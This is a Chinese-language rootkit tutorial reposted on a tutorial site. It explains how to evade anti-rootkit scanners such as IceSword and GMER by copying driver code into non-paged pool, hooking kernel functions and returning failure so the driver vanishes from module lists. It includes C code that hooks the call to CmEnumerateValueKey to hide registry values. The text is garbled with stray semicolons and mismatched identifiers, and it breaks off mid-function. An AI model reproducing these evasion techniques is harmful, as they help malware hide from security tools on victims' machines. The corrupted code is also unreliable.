萬盛學電腦網

 萬盛學電腦網 >> Linux教程 >> 饒過現代Anti

饒過現代Anti

class="152932"> MJ0011
th_decoder@126;.;com
2007;-;10;-;24

本文描述了一些方法,可以饒過目前主流的現代Anti;-;rootkit工具,包括但不限於;:
Icesword;最新版
Gmer最新版
Rootkit;unhooker;最新版
DarkSpy;最新版
AVG;Anti;-;rootkit最新版
等等

目前的anti;-;rootkit工具中,對於內核模塊主要采用如下幾種掃描方式;:

1.;恢復ZwQuerySystemInformation的hook;,;然後利用功能號SystemModuleInformation進行枚舉
例如Icesword

2.;遍歷PsLoadModuleList;,;Driver;/;Device;/;Section;Object鏈;,;或者TypeList鏈等;(;總之是找驅動相關對象;);進行枚舉
例如Rootkit;Unhooker;,;Gmer等

3.;內核鏡象暴力搜索;,;搜索MZ;,;PE等等標志結合進行判斷內存裡是否有PE鏡象;,;如rootkit;unhooker;,;rutkowska的modgreper等,通常只能顯示為unknow;image

4.;函數引用;,;各種routine/hook等;,;先HOOK一些常用函數,然後當驅動去調用這些函數時,記下其地址,檢測時使用;,;或者是根據各種;routine;(;dispatch;routine;,;IDT;,;Image;Notfiy等;);或各種hook;(;inline;hook;,;iat;/;eat;hook等等;);,通常只能顯示為unknow;image或unknow;xxx;handler等

5.;使用系統ImageLoad;Notfiy;,;使用一個BOOT驅動,記錄所有模塊load的消息;,;檢測時進行分析;如AVG;Anti;-;rootkit等

先說饒過;1;,;2;,;3;,;5;的辦法
很簡單,使用諸如ZwSetSystemInformation的函數加載驅動,然後在DriverEntry中分配NonPagedPool的內存,然後將功能代碼;/;函數copy到該內存中,然後進行必要的HOOK,最後返回STATUS_UNSUCCESSFULL;.

這樣驅動在PsLoadModuleList、各種對象鏈裡就消失了,自然也就不存在於ZwQuerySystemInformation枚舉的列表裡
需要注意的是,copy到內存中的代碼要盡量簡單,基本不會生成需要重定位的代碼了,但調用系統函數還是要另想辦法

我的某個RK裡是這樣做的,例如A;Function用來hook;系統函數B;,;其中需要調用系統函數C,

那麼分配一塊內存,大小;=;len;(;A;);+;sizeof;(;ULONG;);*;2

在內存的前兩個DWORD放OrgB;,;以及C的地址,後面開始放函數代碼

函數中使用call;+;5;對自身的位置進行定位,找到內存開始的位置,然後得到OrgB和C

當然也可以在COPY入內存前自己用絕對地址定位函數;~;不過不如這個方法靈活

相關代碼;:
//hook;call;CmEnumerateValueKey

void;InstallCMRegHook;()
{
PVOID;_CmEnumerateKeyValueLoc


_CmEnumerateKeyValueLoc;=;FindCmEnumerateValueKey;();
//找到;call;CmEnumerateValueKey

HookCodeLen;=;(;ULONG;);NopFunc8;-;(;ULONG;);NewCmEnumerateValueKey
//獲得NewCmEnumerateValueKey長度

HookCode3;=;ExAllocatePoolWithTag;(;NonPagedPool;,
HookCodeLen;+;4;,
MEM_TAG_HOOKCODE3;);

//分配內存

*(;ULONG;*);HookCode3;=;*(;ULONG;*);_CmEnumerateKeyValueLoc

//原函數地址放入內存

RtlCopyMemory;((;PVOID;);HookCode3;+;sizeof;(;ULONG;);,;(;PVOID;);NewCmEnumerateValueKey;,;HookCodeLen;);

//copy函數代碼

DO_SPINLOCK;();
*(;ULONG;*);_CmEnumerateValueKeyLoc;=;HookCode3;+;sizeof;(;ULONG;);

//進行HOOK

EXIT_SPINLOCK;();
return

}

NTSTATUS;NewCmEnumearateValueKey;(;IN;PVOID;KeyControlBlock;,
IN;ULONG;Index;,
IN;KEY_VALUE_INFORMATION_CLASS;KeyValueInformationClass;,
IN;PVOID;KeyValueInformation;,
IN;ULONG;KeyLength;,
IN;PULONG;ResultLength
)
{
//下面找到本函數開始地址,並獲得保存在內存中的OrgCmEnumerateValueKey的地址
copyright © 萬盛學電腦網 all rights reserved